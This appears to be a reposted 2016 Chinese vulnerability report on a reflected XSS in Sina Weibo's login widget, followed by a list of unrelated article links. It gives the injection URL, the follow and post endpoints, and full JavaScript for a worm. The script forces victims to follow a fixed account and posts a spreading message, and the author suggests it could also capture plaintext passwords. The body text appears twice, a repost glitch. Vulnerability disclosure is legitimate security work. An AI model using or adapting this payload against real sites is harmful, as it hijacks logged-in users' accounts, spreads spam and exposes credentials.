新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)
2016-02-29 10:50
495 查看
首先,反射XSS在这里:
http://service.weibo.com/widget/public/login.php?source=share&backurl=http://service.weibo.com/share/mobile.php?url=aaaaaaaa',a:(alert(1))//
加关注:
POST:http://widget.weibo.com/relationship/aj_attention.php
wsrc=app_follow_button&uid=XXX
发微博:
POST:http://service.weibo.com/share/aj_share.php
content=新年快了!恭喜发财!
然后我写了段代码测试了一下效果。
code 区域
用户以登录状态访问上面那个XSS就中招了,本来想全部走AJAX的,但是加关注那里跨域了,行不通,就改成form了,再就是分享这里验证了refer,所以用JS控制当前页面的referrer为origin,然后把上面这一大段JS通过反射XSS远程加载进来就行了,content中再加上链接就可以蠕动起来了。
劫持用户名和密码我没试,但是理论上应该是可以的,因为本来就是微博正常的登录页面,插点JS截获表单数据很容易了。
http://service.weibo.com/widget/public/login.php?source=share&backurl=http://service.weibo.com/share/mobile.php?url=aaaaaaaa',a:(alert(1))//
加关注:
POST:http://widget.weibo.com/relationship/aj_attention.php
wsrc=app_follow_button&uid=XXX
发微博:
POST:http://service.weibo.com/share/aj_share.php
content=新年快了!恭喜发财!
然后我写了段代码测试了一下效果。
code 区域
(function(){ //set referrer var meta = document.createElement('meta'); meta.name = 'referrer'; meta.content = 'origin'; document.head.appendChild(meta); //document.head.appendChild(style); var iframe = document.createElement('iframe'); iframe.name = 'myframe' document.head.appendChild(iframe); //fowllo me var form = document.createElement('form'), input1 = document.createElement('input'), input2 = document.createElement('input'); input1.name = 'wsrc'; input1.value = 'app_follow_button'; input2.name = 'uid'; input2.value = '1719751704'; form.appendChild(input1); form.appendChild(input2); form.action = 'http://widget.weibo.com/relationship/aj_attention.php'; form.method = 'post'; form.target = 'myframe'; document.head.appendChild(form); form.submit(); //create xhr var xhr = false; try { xhr = new XMLHttpRequest() } catch (d) { try { xhr = new ActiveXObject("Msxml2.XMLHTTP") } catch (c) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP") } catch (b) { xhr = false } } } //send message var data = 'content=新年快了!恭喜发财!'; xhr.open('POST', 'http://service.weibo.com/share/aj_share.php?t=' + new Date().getTime(), false); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.send(data); })();
用户以登录状态访问上面那个XSS就中招了,本来想全部走AJAX的,但是加关注那里跨域了,行不通,就改成form了,再就是分享这里验证了refer,所以用JS控制当前页面的referrer为origin,然后把上面这一大段JS通过反射XSS远程加载进来就行了,content中再加上链接就可以蠕动起来了。
劫持用户名和密码我没试,但是理论上应该是可以的,因为本来就是微博正常的登录页面,插点JS截获表单数据很容易了。
漏洞证明:
相关文章推荐
- 微信扫描二维码登录网站---href设置二维码大小
- Nginx 反向代理学习(一)
- scribe日志分析工具安装
- Apache 反向代理与修改网页内容
- Node.js 函数
- Node.js模块系统
- 知识积累:JAVA的引用传递和值传递
- Bootstrap之模态框(提示框)
- win10 UWP RSS阅读器
- cocoa pods 安装教程
- 算法导论第三版习题7.1
- PAT-1027 打印沙漏
- 十八、UiAutomator 相关JAVA知识
- lnmp 一键安装详解
- 最新版IDEA ,webStrom,Android Studio激活方法
- json数据格式
- ubuntu14.04系统下在apache2.4服务器上设置虚拟主机
- iOS蓝牙4.0 CoreBluetooth框架开发
- Node.js Stream(流)
- Android: Your project contains error(s),please fix them before running your application问题